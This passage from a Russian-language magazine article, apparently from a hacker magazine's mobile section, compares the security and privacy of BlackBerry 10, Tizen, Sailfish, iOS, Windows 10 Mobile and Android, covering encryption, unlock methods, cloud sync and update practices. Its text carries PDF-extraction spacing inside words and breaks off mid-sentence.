ложе ний до низ коуров невой защиты и шиф рования дан ных.

Се год ня мы  корот ко опи шем основные дос тоинс тва и  проб лемы во  всех
сов ремен ных мобиль ных ОС, которые име ют хоть какое‐то рас простра нение.
В спи сок вхо дят Google Android, Apple  iOS и Windows 10 Mobile (увы, но Win‐
dows Phone 8.1 наз вать сов ремен ной уже нель зя). Бонусом пой дут BlackBerry
10, Sailfish и Samsung Tizen.

СТАРИЧКИ: BLACKBERRY 10
Преж де чем прис тупать к опи санию акту аль ных плат форм, ска жем пару слов
о  BlackBerry  10,  которая  уже  сош ла  с  дис танции.  Почему  BlackBerry  10?
В  свое  вре мя  сис тема  активно  прод вигалась  как  «самая  безопас ная»
мобиль ная ОС. В чем‐то это было дей стви тель но так, что‐то, как всег да, пре‐ 
уве личи ли, что‐то было акту аль ным три года назад, но без надеж но уста рело
сегод ня. В целом нам нра вил ся под ход ком пании BlackBerry к безопас ности;
впро чем, не обош лось и без про валов.

Плю сы:
Мик роядер ная  архи тек тура  и  сис тема  доверен ной  заг рузки  —  это  дей‐ 
стви тель но безопас но. Прав  супер поль зовате ля  за  все  вре мя  сущес тво‐ 
вания сис темы не получил ник то (меж ду про чим, пытались неод нократ но,
в том чис ле в серь езных кон торах — BlackBerry далеко не всег да была аут‐ 
сай дером).

•

Так же невоз можно обой ти пароль на раз бло киро вание устрой ства: спус тя
десять неудач ных попыток дан ные в устрой стве пол ностью унич тожа ются.

•

Нет  никаких  встро енных  облачных  сер висов  и  нет  целенап равлен ной
слеж ки за поль зовате лем. Дан ные не переда ются на сто рону, если толь ко
поль зователь не решит уста новить облачное при ложе ние самос тоятель но
(опци ональ но  под держи вают ся  такие  служ бы,  как  OneDrive,  Box.com,
Dropbox).

•

Об разцо вая реали зация  кор поратив ных  политик безопас ности и  уда лен‐ 
ного кон тро ля через BES (BlackBerry Enterprise Services).

•

На деж ное  (но  опци ональ ное)  шиф рование  как  встро енно го  накопи теля,
так и карт памяти.

•

Об лачных  резер вных  копий  нет  сов сем,  а  локаль ные  шиф руют ся
с помощью безопас ного клю ча, при вязан ного к BlackBerry ID.

•

Ми нусы:
Дан ные  по  умол чанию  не  шиф руют ся.  Впро чем,  ком пания  может  акти‐ 
виро вать шиф рование на устрой ствах сот рудни ков.

•

Шиф рование дан ных блоч ное, одно ран говое; отсутс тву ет понятие клас сов
защиты  и  что‐либо,  хотя  бы  отда лен но  напоми нающее  Keychain  в  iOS.
Нап ример, дан ные при ложе ния Wallet мож но извлечь из резер вной копии.

•

В учет ную запись BlackBerry ID мож но зай ти прос то с логином и паролем;
двух фактор ная аутен тифика ция не под держи вает ся. Сегод ня такой под ход
совер шенно неп рием лем. Кста ти, если известен пароль от BlackBerry  ID,
мож но извлечь ключ, с помощью которо го рас шифру ется соз данный при‐ 
вязан ным к дан ной учет ке бэкап.

•

За щита от сбро са к завод ским нас трой кам и защита от кра жи очень сла‐ 
бая.  Она  обхо дит ся  прос той  заменой  при ложе ния  BlackBerry  Protect
при  сбор ке  авто заг рузчи ка  или  (до  BB  10.3.3)  пониже нием  вер сии  про‐ 
шив ки.

•

От сутс тву ет  ран домиза ция MAC‐адре са,  что  поз воля ет  отсле живать  кон‐ 
крет ное устрой ство с помощью точек дос тупа Wi‐Fi.

•

BlackBerry 10 уме ет шиф ровать как внут реннюю память, так и SD‐кар ту

Еще один зво ночек: BlackBerry охот но сот рудни чает с пра воох ранитель ными
орга нами,  ока зывая  мак сималь но  воз можную  помощь  в  поим ке  прес тупни‐ 
ков, которые поль зуют ся смар тфо нами BlackBerry.

В целом при гра мот ной нас трой ке (а поль зовате ли, выб равшие BlackBerry
10,  как  пра вило,  нас тра ивают  свои  устрой ства  впол не  гра мот но)  сис тема
спо соб на обес печить как при емле мый уро вень безопас ности, так и высокий
уро вень  при ват ности.  Впро чем,  «опыт ные  поль зовате ли»  могут  свес ти  все
пре иму щес тва  на  нет,  уста новив  на  смар тфон  взло ман ную  вер сию  Google
Play Services и получив все пре лес ти прис мотра «Боль шого Бра та».

ЭКЗОТИКА: TIZEN И SAILFISH
Tizen и Sailfish — явные аут сай деры рын ка. Аут сай деры даже в боль шей сте‐ 
пени,  чем  Windows  10  Mobile  или  BlackBerry  10,  доля  которой  упа ла  ниже
отметки  0,1%.  Их  безопас ность  —  это  безопас ность  «неуло вимо го  Джо»;
о ней мало что извес тно лишь потому, что они мало кому инте рес ны.

Нас коль ко оправдан такой под ход, мож но судить по недав но опуб ликован‐ 
ному  , в котором обна руже но поряд ка сорока кри тичес ких уяз‐ 
вимос тей в Tizen. Тут мож но раз ве что подыто жить дав но извес тное.

ис сле дова нию

Ес ли не про води лись серь езные незави симые иссле дова ния, то говорить
о  безопас ности  плат формы  нель зя.  Кри тичес кие  уяз вимос ти  вскро ются
не рань ше, чем плат форма получит рас простра нение. Но будет поз дно.

•

Злов редно го ПО нет лишь из‐за сла бой рас простра нен ности плат формы.
Тоже в каком‐то роде защита.

•

Ме ханиз мы  безопас ности  недос таточ ны,  отсутс тву ют  или  опи саны  лишь
на бумаге.

•

Лю бые  сер тифика ции  говорят  лишь  о  том,  что  устрой ство  прош ло  сер‐ 
тифика цию,  но  ров ным  сче том  ничего  не  говорят  о  фак тичес ком  уров не
безопас ности.

•

JOLLA SAILFISH
С  Sailfish  ситу ация  неод нознач ная.  С  одной  сто роны,  сис тема  как  бы  жива:
на  ее  осно ве  вре мя  от  вре мени  анон сиру ются  какие‐то  устрой ства,  и  даже
«Поч та  Рос сии»  при обре ла  боль шую  пар тию  устрой ств  с  зап редель но
высоким  цен ником.  С  дру гой  —  поль зовате лям  пред лага ют  зап латить  сто‐ 
имость  креп кого серед нячка на Android за модель под управле нием Sailfish,
обла дающую харак терис тиками китай ско го дешево го смар тфо на трех летней
(!)  дав ности.  Такой  под ход  сра бота ет  в  единс твен ном  слу чае:  если  модели
на  Sailfish  будут  закупать ся  за  бюд жетные  день ги,  пос ле  чего  раз давать ся
государс твен ным  слу жащим  ниж него  зве на.  Разуме ется,  о  какой‐то  там
безопас ности при таком под ходе думать учас тни кам сдел ки сов сем не инте‐ 
рес но.

И даже наличие государс твен ных сер тифика тов не дает никакой гаран тии
точ но так же, как ее не дает откры тый исходный код. К при меру, уяз вимость
Heartbeat была обна руже на в про шив ках роуте ров, исходный код для которых
был в откры том дос тупе более десяти лет. В опе раци онной сис теме Android,
которая так же обла дает откры тым исходным кодом, новые уяз вимос ти обна‐ 
ружи вают ся регуляр но.

Эк зотичес кие ОС — это отсутс твие инфраструк туры, край не огра ничен ный
набор  устрой ств  и  при ложе ний,  недораз витые  средс тва  управле ния  кор‐ 
поратив ными полити ками безопас ности и более чем сом нитель ная безопас‐ 
ность.

Sailfish OS

SAMSUNG TIZEN
Нес коль ко особ няком от осталь ных «экзо тичес ких» плат форм сто ит Samsung
Tizen. В отли чие от Ubuntu Touch и Sailfish, Tizen — впол не рас простра нен ная
сис тема. Под ее управле нием работа ют десят ки моделей умных телеви зоров
Samsung, а так же умные часы и нес коль ко бюд жетных смар тфо нов (Samsung
Z1–Z4).

Как толь ко Tizen получи ла замет ное рас простра нение, за сис тему взя лись
незави симые иссле дова тели.  Резуль тат  неуте шите лен:  в  пер вые же месяцы
было  най дено  более  сорока  кри тичес ких  уяз вимос тей.  Про цити руем  сло ва
Ами хая Ней дер мана, который про вел иссле дова ние безопас ности Tizen:

Воз можно,  это  худ ший  код  из  тех,  что  мне  довелось  видеть.  Все
ошиб ки,  которые мож но было допус тить,  были допуще ны. Оче вид но,
что код писал или про верял кто‑то, кто ничего не понима ет в безопас- 
ности. Это все рав но что поп росить школь ника написать для вас прог- 
рам мное обес печение.

В целом вывод понятен: исполь зовать экзо тичес кую, малорас простра нен ную
сис тему в кор поратив ной сре де — откры тое приг лашение для хакеров.

Те леви зор Samsung под управле нием Tizen

APPLE IOS
Apple мы будем хва лить. Да, это зак рытая эко сис тема, и да, цен ник несопос‐ 
тавим  с  тех ничес кими  воз можнос тями,  но  тем  не  менее  устрой ства
под управле нием iOS были и оста ются самыми безопас ными из рас простра‐ 
нен ных  ком мерчес ких  решений.  В  основном  это  каса ется  текущих  моделей
поколе ний iPhone 6s и 7 (и, пожалуй, SE).

Бо лее  ста рые  устрой ства  обла дают  мень шим  запасом  проч ности.
Для  ста рень ких  iPhone  5c,  5s  и  6  уже  есть  спо собы  раз бло киро вания  заг‐ 
рузчи ка и ата ки на пароль устрой ства (за под робнос тями мож но обра тить ся
к  раз работ чикам  —  ком пании  Cellebrite).  Но  даже  для  этих  уста рев ших
устрой ств взлом заг рузчи ка — дело тру доем кое и весь ма недеше вое (в Cel‐
lebrite  про сят  за  услу гу  нес коль ко  тысяч  дол ларов).  Думаю,  мой  или  твой
телефон ник то таким спо собом ломать не ста нет.

Итак, что мы име ем на сегод няшний день. Нач нем с физичес кой безопас‐ 
ности.
1. Все  iPhone  и  iPad  iOS  8.0  и  выше  (а  в  нас тоящий момент  акту аль на  iOS
10.3.2,  которая  еще  более  безопас на)  при меня ют  нас толь ко  стой кие
методы  защиты,  что  даже  их  про изво дитель  как  офи циаль но,  так  и  фак‐ 
тичес ки отка зыва ется извле кать информа цию из заб локиро ван ных устрой‐ 
ств.  Незави симые  иссле дова ния  (в  том  чис ле  в  лабора тории
«Элкомсофт») под твержда ют заяв ления Apple.

2. В iOS пре дус мотре на (и дей стви тель но работа ет) сис тема защиты дан ных
в  слу чае  кра жи  или  потери  устрой ства. Дос тупны механиз мы  уда лен ного
сти рания дан ных и бло киров ки устрой ства. Укра ден ное устрой ство невоз‐ 
можно будет раз бло киро вать и переп родать, если зло умыш ленни ку неиз‐ 
вес тны  как  пароль  на  устрой ство,  так  и  отдель ный  пароль  от  учет ной
записи Apple  ID вла дель ца.  (Впро чем, китай ским умель цам дос тупно все,
и  вме шатель ство  в  аппа рат ную  часть  устрой ства  спо соб но  обой ти  эту
защиту… для iPhone 5s и более ста рых устрой ств.)

3. Мно гоуров невое  шиф рование  дан ных  «из  короб ки»  иде аль но  спро екти‐ 
рова но  и  реали зова но.  Раз дел  дан ных  шиф рует ся  всег да;  исполь зует ся
блоч ный  шифр  с  клю чами,  уни каль ными  для  каж дого  отдель ного  бло ка,
при этом при уда лении фай ла соот ветс тву ющие клю чи уда ляют ся — а зна‐ 
чит,  вос ста новить  уда лен ные  дан ные  в  прин ципе  невоз можно.  Клю чи
защище ны выделен ным соп роцес сором, вхо дящим в сис тему Secure En‐
clave, и вытащить их отту да нель зя даже с jailbreak (мы про бова ли). Дан ные
при вклю чении оста ются зашиф рован ными, пока ты не вве дешь пра виль‐ 
ный пароль. Более того, некото рые дан ные (нап ример, пароли к веб‐сай‐ 
там,  ска чан ная  на  устрой ство  элек трон ная  поч та)  допол нитель но  шиф‐ 
руют ся  в  защищен ном  хра нили ще  Keychain,  при чем  часть  из  них  невоз‐ 
можно извлечь даже с джей лбрей ком.

4. Ты не можешь прос то вот кнуть в компь ютер  iPhone и ска чать с него дан‐ 
ные  (кро ме  фотог рафий).  В  iOS  пре дус мотре на  воз можность  уста нов‐ 
ления  довери тель ных  отно шений  с  компь юте рами.  При  этом  соз дает ся
пара  крип тогра фичес ких  клю чей,  поз воля ющих  доверен ному  компь юте ру
делать  с  телефо на  резер вные  копии.  Но  даже  эту  воз можность  мож но
огра ничить  с  помощью  кор поратив ной  полити ки  безопас ности  или фир‐ 
менным  при ложе нием  Apple  Configurator.  Безопас ность  бэкапов  обес‐ 
печива ется воз можностью уста новить слож ный пароль (пароль тре бует ся
исклю читель но для вос ста нов ления дан ных из резер вной копии, поэто му
в режиме пов седнев ного исполь зования мешать ся не будет).

5. Раз бло киров ка  iPhone  сде лана  на  дос таточ но  безопас ном  уров не.
Для  раз бло киров ки  мож но  исполь зовать  как  стан дар тный  PIN‐код
из  четырех  цифр,  так  и  более  слож ный  пароль.  Единс твен ный  допол‐ 
нитель ный  спо соб  раз бло киро вания  устрой ства  —  отпе чаток  паль ца.
При  этом  реали зация  механиз ма  такова,  что  у  зло умыш ленни ка  будет
очень мало воз можнос тей им вос поль зовать ся. Дан ные отпе чат ка зашиф‐ 
рованы  и  будут  уда лены  из  опе ратив ной  памяти  устрой ства  пос ле  вык‐ 
лючения  или  перезаг рузки;  через  некото рое  вре мя,  если  устрой ство
ни  разу  не  раз бло киро валось;  пос ле  пяти  неудач ных  попыток;  через
некото рое  вре мя,  если  поль зователь  ни  разу  не  вво дил  пароль  для  раз‐ 
бло киров ки устрой ства.

PIN‐код или дат чик отпе чат ков — решать тебе

6. В  iOS  есть  опция,  поз воля ющая  авто мати чес ки  уда лять  дан ные  пос ле
десяти  неудач ных  попыток  вхо да.  В  отли чие  от  BlackBerry  10,  эта  опция
кон тро лиру ется на уров не опе раци онной сис темы; для ста рых вер сий iOS
(вплоть до iOS 8.2) сущес тву ют спо собы ее обой ти.

В iOS мож но огра ничить запуск при ложе ний отдель ным
паролем

ЧТО У НАС СО СЛЕЖКОЙ ЗА ПОЛЬЗОВАТЕЛЕМ И С УТЕЧКАМИ?
В iOS есть отклю чаемая син хро низа ция с обла ком через собс твен ный сер вис
Apple iCloud. В час тнос ти, в iCloud обыч но сох раня ются:

ре зер вные копии дан ных устрой ства;•
син хро низи рован ные  дан ные  —  жур нал  звон ков,  замет ки,  кален дари,
пароли в iCloud Keychain;

•

па роли и исто рия посеще ния ресур сов в бра узе ре Safari;•
фо тог рафии и дан ные при ложе ний.•

Все виды облачной син хро низа ции в iOS мож но отклю чить, прос то вык лючив
iCloud  и  деак тивиро вав  iCloud  Drive.  Пос ле  это го  никакие  дан ные  не  будут
переда вать ся  на  сер веры  Apple.  Нес мотря  на  то  что  некото рые  механиз мы
работа ют не слиш ком инту итив но (как при мер — для вык лючения син хро низа‐ 
ции  звон ков  нуж но  отклю чать  iCloud  Drive,  вооб ще‐то  пред назна чен ный
для  син хро низа ции  фай лов  и  фотог рафий),  пол ное  вык лючение  облачных
сер висов син хро низа цию пол ностью же отклю чает.

Лю бые виды син хро низа ции мож но отклю чить

В  iOS пре дус мотрен механизм для пре дот вра щения слеж ки  (сис тема может
пред став лять  внеш нему  миру  слу чай ные  иден тифика торы  модулей  Wi‐Fi
и Bluetooth вмес то фик сирован ных нас тоящих).

Хо рошо, а как обсто ят дела со злов редами? В iOS прак тичес ки исклю чена
воз можность уста нов ки злов редно го ПО. Еди нич ные слу чаи были (через при‐ 
ложе ния,  соб ранные  с  исполь зовани ем  взло ман ных  инс тру мен тов  для  раз‐ 
работ ки),  но они быс тро локали зова лись и исправ лялись. Даже  тог да боль‐ 
шого вре да при чинить эти при ложе ния не смог ли: в  iOS каж дое при ложе ние
надеж но  изо лиро вано  как  от  самой  сис темы,  так  и  от  дру гих  при ложе ний
с помощью песоч ницы.

Нуж но  отме тить,  что  в  iOS  дав ным‐дав но  был  реали зован  гра нуляр ный
кон троль  за  раз решени ями  при ложе ний.  Ты  можешь  по  отдель нос ти  раз‐ 
решить  или  зап ретить  каж дому  при ложе нию  такие  вещи,  как  воз можность
работы в фоновом режиме (в «чис том» Android такой воз можнос ти нет!), дос‐ 
туп к мес тополо жению, уве дом лени ям и тому подоб ное. Наличие этих нас тро‐ 
ек  поз воля ет  эффектив но  огра ничи вать  слеж ку  со  сто роны  при ложе ний,
которые  сде лали  такую  слеж ку  сво им  основным  биз несом  (это  каса ется
как при ложе ний клас са Facebook, так и игр наподо бие Angry Birds).

На конец,  Apple  регуляр но  обновля ет  iOS  даже  на  ста рых  устрой ствах,
прак тичес ки момен таль но (в срав нении с Android) исправ ляя най ден ные уяз‐ 
вимос ти. При  этом  обновле ния  при лета ют  одновре мен но  всем  поль зовате‐ 
лям (сно ва «в отли чие от»).

Что инте рес но, iOS начиная с 9‐й вер сии защище на и от атак клас са man
in  the middle  с  перех ватом и  под меной  сер тифика та. И  если  в  лабора тории
«Элкомсофт» уда лось отре вер сить про токол бэкапов iCloud в 8‐й вер сии сис‐ 
темы, то в более новых ОС это го сде лать не выш ло по тех ничес ким при чинам.
С  одной  сто роны,  получа ем  гаран тию  безопас ности  переда ваемых  дан ных;
с дру гой — у нас нет воз можнос ти дос товер но убе дить ся в том, что на сер‐ 
веры не будет отправ лена «лиш няя» информа ция.

На конец,  нель зя  не  ска зать  о  мифичес ких  «зак ладках»  в  ОС,  из‐за  воз‐ 
можно го  наличия  которых  чинов ники  пред почтут  «сер тифици рован ные»
устрой ства  с  Sailfish  вмес то  отла жен ных  iPhone.  В  «Элкомсофт»  тща тель но
иссле дова ли десят ки моделей iPhone, начиная с самых ран них. В сов сем ста‐ 
рых моделях  (до  iPhone 4  вклю читель но)  были  уяз вимос ти,  которые  получи‐ 
лось успешно исполь зовать. Начиная с iPhone 4s ни уяз вимос тей, ни «чер ных
ходов» подоб ного уров ня нам обна ружить не уда лось.

Ло гика под ска зыва ет, что, если бы они были, ФБР не приш лось бы пла тить
мил лион дол ларов ком пании Cellebrite за взлом единс твен ного iPhone 5c. Та
же Cellebrite тща тель но скры вает (в пер вую оче редь — от Apple) информа цию
об  уяз вимос тях,  которые  она  исполь зует  для  взло ма  заг рузчи ка.  «Мы  пот‐ 
ратили пол тора года, что бы обна ружить эту уяз вимость. У Apple зай мет пол‐ 
торы  недели,  что бы  ее  устра нить» —  дос ловная  цитата  пред ста вите ля  ком‐ 
пании на кон ферен ции. На этом тему шапочек из фоль ги пред лага ем зак рыть.

В  то  же  вре мя  Apple  целиком  и  пол ностью  кон тро лиру ет  собс твен ную
облачную  инфраструк туру  и  готова  выдавать  дан ные  из  обла ка  по  зап росу
пра воох ранитель ных орга нов. А в обла ке, меж ду про чим, хра нит ся доволь но
мно го инте рес ного. Ста тис тика о количес тве удов летво рен ных зап росов пол‐ 
ностью  .  С  более  под робной  ана лити кой  мож но  озна комить ся
на  .

пуб лична
сай те «Элкомсоф та»
В целом безопас ность Apple iOS 10.3 на устрой ствах iPhone SE, 6s, 7 и их

вер сиях Plus находит ся на высочай шем уров не. Прид рать ся осо бо не к чему,
а име ющиеся изъ яны лег ко исправ ляют ся штат ными средс тва ми.

WINDOWS 10 MOBILE
Android мы оста вим на закус ку, а пока пос мотрим на смар тфо ны под управле‐ 
нием Windows 10 Mobile. В пер вую оче редь нам инте рес ны, конеч но же, флаг‐ 
маны про изводс тва самой Microsoft — это Lumia 950 и 950 XL. Дело в том, что
эти устрой ства изна чаль но раз рабаты вались имен но для нужд кор поратив ных
пот ребите лей.

Ин терес ней шая осо бен ность Windows 10 Mobile в том, что это единс твен‐ 
ная мобиль ная ОС, не осно ван ная на  той или иной вер сии UNIX. Собс твен‐ 
ный под ход к про екти рова нию ядра и самой сис темы, отличная опти миза ция
ОС  и  все го  соф та  под  огра ничен ный  спи сок  под держи ваемых  чип сетов
помеща ют Windows 10 Mobile где‐то посере дине меж ду пол ностью зак рытой
iOS и пол ностью откры тым Android.

В ОС ком пании Microsoft есть воз можность пол нодис кового шиф рования
(но, в отли чие от Apple iOS, мно гоуров невая защита дан ных здесь отсутс тву‐ 
ет), которую, впро чем, мож но вклю чать и отклю чать по желанию поль зовате ля
(или сетево го адми нис тра тора). Так же мож но нас тро ить шиф рование дан ных
на внеш них носите лях (кар тах фор мата microSD, если они исполь зуют ся).

Раз бло киров ка  телефо на  воз можна  как  с  помощью  тра дици онно го  PIN‐
кода, так и по биомет ричес кому дат чику — ска неру радуж ной обо лоч ки гла за
(толь ко для моделей Lumia 950 и 950 XL). По ско рос ти и удобс тву работы ска‐ 
нер  радуж ки  замет но  усту пает  ска неру  отпе чат ка  паль ца  в  устрой ствах  iOS,
да  и  в  сов ремен ных  Android.  Безопас ность,  впро чем,  на  уров не.  В  отли чие
от Android, в Windows 10 Mobile не пре дус мотре ны и недопус тимы небезо пас‐ 
ные спо собы аутен тифика ции.

Аутен тифика ция по радуж ной обо лоч ке вклю чает ся в нас трой ках

Гра нуляр ный кон троль за раз решени ями при ложе ний при сутс тву ет: есть воз‐ 
можность огра ничи вать дос туп при ложе ний к мес тополо жению поль зовате ля
и воз можность зап ретить работу в фоне.

Сле ва: при ложе ния с дос тупом к геодан ным, спра ва: перек лючатель
дос тупа к телефо нии

Изо ляция  при ложе ний  в  песоч нице  при сутс тву ет.  Воз можность  уста нов ки
при ложе ний из сто рон них источни ков по умол чанию заб локиро вана и может
быть  допол нитель но  уси лена  с  помощью  кор поратив ной  полити ки  безопас‐ 
ности, зап реща ющей поль зовате лю вклю чать воз можность уста нов ки непод‐ 
писан ных при ложе ний.

Кста ти,  для Windows  10 Mobile  сущес тву ет  ана лог  jailbreak,  поз воля ющий
получить эска лацию при виле гий, дос туп к редак тирова нию реес тра (он, к сло‐ 
ву, прак тичес ки не отли чает ся от реес тра «боль шой» Windows 10) и фай ловой
сис теме. Уста нав ливать его не слиш ком прос то, но все дела ется с помощью
впол не штат ных средств из режима для раз работ чиков: ни о какой экс плу ата‐ 
ции уяз вимос тей речи не идет, спо соб дав но известен и сох раня ет работос‐ 
пособ ность во всех вер сиях Windows 10 Mobile, вклю чая обновле ние до Cre‐
ators Update.

Плюс это или минус с точ ки зре ния безопас ности — ска зать слож но; в кон‐ 
це кон цов, на раз бло киро вание телефо на или дос туп к зашиф рован ным дан‐ 
ным такой «взлом» никак не вли яет  (в отли чие от  jailbreak в  iOS, с помощью
которо го  успешно  обхо дят ся  встро енные  в  сис тему  механиз мы  безопас‐ 
ности).

mailto:aoleg@voicecallcentral.com
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http://images.apple.com/legal/privacy/transparency/requests-2016-H1-en.pdf
https://blog.elcomsoft.com/2017/01/government-request-reports-google-apple-and-microsoft/


СРАВНИВАЕМ БЕЗОПАСНОСТЬ
IOS, WINDOWS, ANDROID,

SAILFISH И TIZEN

X‐MOBILE  НАЧАЛО СТАТЬИΝ

Так  же  как  и  Apple, Microsoft  собира ет  информа цию  о  поль зовате лях  сво их
устрой ств. По объ ему дан ных и мас шта бу «слеж ки» ком пания сно ва посере‐ 
дин ке меж ду Apple и Google. В обла ке Microsoft OneDrive телефо ны соз дают
резер вные копии (в том чис ле дан ные при ложе ний), син хро низи руют звон ки
и  SMS  (а  вот  iOS  син хро низи рует  толь ко  звон ки,  но  не  сооб щения).  Так же
син хро низи руют ся пароли и исто рия бра узе ра.

Фун кцию бэкапа мож но отклю чить для отдель но взя тых при ложе‐ 
ний

Сер вис  защиты  от  кра жи  и  уда лен ного  бло киро вания  устрой ства  Find  My
Phone есть, но вот сер вис, ана логич ный iCloud Lock (Apple) или Factory Reset
Protection (Google), дос тупен исклю читель но в моделях, выпущен ных для аме‐ 
рикан ско го рын ка.

Как  и  в  слу чае  с  iOS,  все  эти  воз можнос ти  дос таточ но  лег ко  отклю чить
как  в  нас трой ках  устрой ства,  так  и  с  помощью  кор поратив ной  полити ки
безопас ности.

Microsoft так же, как и Apple, регуляр но обновля ет свои устрой ства и опе‐
ратив но исправ ляет най ден ные уяз вимос ти. Ситу ация с обновле ниями здесь
гораз до луч ше, чем в Android. Впро чем, малая рас простра нен ность сис темы
и сла бая заин тересо ван ность самой Microsoft в будущем плат формы нивели‐ 
руют мно гие ее пре иму щес тва.

GOOGLE ANDROID
На конец‐то  мы  дош ли  до  Android.  Про  безопас ность  в  Android  написа ны
десят ки тысяч ста тей и сот ни книг. Разуме ется, мы не будем пытать ся объ ять
необъ ятное; вмес то это го поп робу ем оки нуть взгля дом эко сис тему в целом.

Ска жем  сра зу:  смар тфо ны  на  Android  самые  рас простра нен ные,  но  при
этом  наиме нее  безопас ные.  Вер сии  Android  4.4  и  ниже  мож но  наз вать
дырявым  вед ром,  не  слиш ком  пог решив  про тив  исти ны.  Кри тичес кие  уяз‐ 
вимос ти и зияющие бре ши в безопас ности были (и есть) в сбор ках 5.0–5.1.1.
Минималь но  при емле мый  уро вень  безопас ности  в  Android  был  дос тигнут
толь ко  с  вер сией  6.0,  при чем  толь ко  в  тех  устрой ствах,  которые  выходи ли
с  завода  уже  с  Android  6.0  на  бор ту.  А  вот  в  Android  7  (отно ситель ная  доля
которо го  до  сих  пор  не  перева лила  за  8%  устрой ств) физичес кая  безопас‐ 
ность уже реали зова на впол не неп лохо.

На зывая Android дырявым вед ром, нель зя не уточ нить, что по абсо лют ному
чис лу  най ден ных  уяз вимос тей  iOS  далеко  впе реди.  Одна ко  если  Apple
исправ ляет уяз вимос ти и выпус кает обновле ние в течение двух‐трех недель,
то уяз вимос ти, най ден ные в Android, будут исправ лены в «сфе ричес ком коне
в ваку уме», полуми фичес ком AOSP. Обыч ные же поль зовате ли могут получить
их вмес те с еже месяч ным обновле нием безопас ности (толь ко для акту аль ных
флаг манов у избран ных про изво дите лей), получить через пол года‐год или не
получить  никог да.  Диаг рамма  рас простра нен ности  раз ных  вер сий  Android
намека ет,  что  акту аль ные  пат чи  безопас ности  сво евре мен но  пос тупят  к  от
силы 7% поль зовате лей.

В слу чае с Android зна чение име ет не толь ко какая вер сия сис темы уста‐ 
нов лена,  но и  с  какой  вер сией  устрой ство  выш ло с  завода.  Так,  Android 6.0
«из короб ки» по умол чанию шиф рует раз дел с поль зователь ски ми дан ными,
но смар тфо нов, обно вив шихся до Android 6 по воз духу, это не кос нется.

На Google  I/O  сооб щили,  что  поряд ка  80%  устрой ств  под  управле нием  An‐
droid  7  и  поряд ка  25%  под  управле нием  Android  6  зашиф рованы.  Что
это  озна чает  на  прак тике?  Срав ним  рас простра нен ность  вер сий  Android
с дан ными о шиф ровании:

Android 5.1.1 и более ста рые: ~62% рын ка (дан ных о шиф ровании нет);•
Android 6: 0,31 (31% рын ка) * 0,25 = 0,078;•
Android 7: 0,07 (7% рын ка) * 0,80 = 0,056.•

Ито го получа ем циф ру в 13,4%. Это — чис ло устрой ств на Android,  которые
точ но  зашиф рованы. Основная  зас луга  здесь  при над лежит Google,  которая
зас тавила про изво дите лей устрой ств, выходя щих с Android 6 или 7 на бор ту,
обя затель но акти виро вать шиф рование. Дан ных о шиф ровании более ста рых
вер сий нет, но мож но пред положить, что их поль зовате ли не горят желани ем
замед лять работу устрой ства, вклю чив опци ональ ное шиф рование. С уче том
это го вряд ли конеч ная циф ра зашиф рован ных «Андро идов» пре высит 15%.

Нес мотря на то что Android, как и iOS, запус кает при ложе ния в песоч ницах, тут
гораз до  боль ше  сво боды.  При ложе ния  могут  вме шивать ся  в  работу  дру гих
при ложе ний  (в  пер вую  оче редь  это  раз нооб разные  служ бы  Accessibility,
которые могут даже нажимать кноп ки, и сто рон ние кла виату ры, которые авто‐ 
мати чес ки получа ют воз можность шпи онить за поль зовате лем). При ложе ния
могут  собирать  дан ные  о  приб лизитель ном  мес тополо жении  поль зовате ля,
даже если соот ветс тву ющие пра ва отсутс тву ют (механизм инте рес ный, час то
при меня ется на прак тике и зас лужива ет отдель ной статьи). Мно гочис ленные
злов реды  появ ляют ся  еже недель но,  а  в  некото рых  телефо нах  (о  таких  мы
писали) они сидят пря мо в про шив ках и изба вить ся от них воз можно толь ко
с помощью переп рошив ки.

Да,  эта  осо бен ность,  а  точ нее  сте пень  сво боды  заложе на  в  сис тему  (то
есть это фича, а не баг), и те же сер висы Accessibility и сто рон ние кла виату ры
тре буют отдель ного под твержде ния для акти вации. Но поверь, тво ему ребен‐ 
ку, теще или бабуш ке силь но лег че от это го не ста нет, как бы ты ни пытал ся
натас кать их на «сюда не тыкай никог да».

А  раз бло киро вание  смар тфо на?  Казалось  бы,  прос тей шее  дей ствие,
которое невоз можно испортить… Но нет, раз работ чики Android  (имен но An‐
droid  AOSP) — смог ли. В Android  встре чают ся  любые,  самые  небезо пас ные
спо собы аутен тифика ции. Нап ример, Smart Lock — авто мати чес кое раз бло‐ 
киро вание  телефо на  по  мес тополо жению  (пред ставь  ситу ацию,  в  которой
ФБР не при ходит ся пла тить мил лион дол ларов за взлом iPhone 5c — вмес то
это го агент прос то дошел до дома подоз рева емо го). Или раз бло киро вание
при соеди нении с доверен ным Bluetooth‐устрой ством (агент вклю чает тре кер
активнос ти или маг нитолу в машине подоз рева емо го).

Еще  мож но  авто ризо вать ся  по  лицу  поль зовате ля  или  его  фотог рафии.
Некото рые  спо собы  мож но  зап ретить  с  помощью  кор поратив ной  полити ки
безопас ности,  но  для  зап рета  необ ходимо  перечис лить  их  в  явном  виде.
Сисад мин  забыл  зап ретить  раз бло киров ку  по  Bluetooth‐устрой ствам?  Этой
лазей кой неп ремен но вос поль зуют ся. Ну и если появит ся новый небезо пас‐ 
ный спо соб раз бло киров ки — его при дет ся зап рещать допол нитель но.

Лю бые виды раз бло киров ки на твой вкус

Да, намере ния были бла гими: хоть как‐то поп робовать зас тавить поль зовате‐ 
лей устрой ств без дат чика отпе чат ков паль цев уста нав ливать код бло киров ки.
Вот толь ко вред от таких спо собов прос то катас тро фичес кий: поль зовате лю
вну шает ся  лож ное  чувс тво  безопас ности,  на  самом  же  деле  «защитой»
подоб ные спо собы мож но наз вать  лишь в  кавыч ках. Более  того, Smart  Lock
оста ется дос тупным даже в пос ледних сбор ках Android и даже в устрой ствах,
уже  обо рудо ван ных  дат чиком  отпе чат ков  паль цев.  Нет,  исполь зовать  Smart
Lock тебя ник то не зас тавит, но ведь это же так удоб но…

К  счастью,  с  помощью  полити ки  безопас ности  некото рые  виды  раз бло‐ 
киров ки мож но огра ничить адми нис тра тив но:

Впро чем, нет никакой воз можнос ти помешать поль зовате лю деак тивиро вать
такую полити ку:

В  Android  есть  воз можность  уста новить  свой  сер тификат  для  сни фин га  HT‐
TPS‐тра фика:

Те перь у при ложе ния Adguard есть воз можность вырезать рек ламу из HTTPS‐
тра фика. Но на его мес те мог ло ока зать ся что угод но.

БОЛЬШОЙ БРАТ СЛЕДИТ ЗА ТОБОЙ
Google собира ет огромное количес тво информа ции о поль зовате лях Android.
Ее деталь ность и про работ ка прос то фан тасти чес кие:  ты можешь под робно
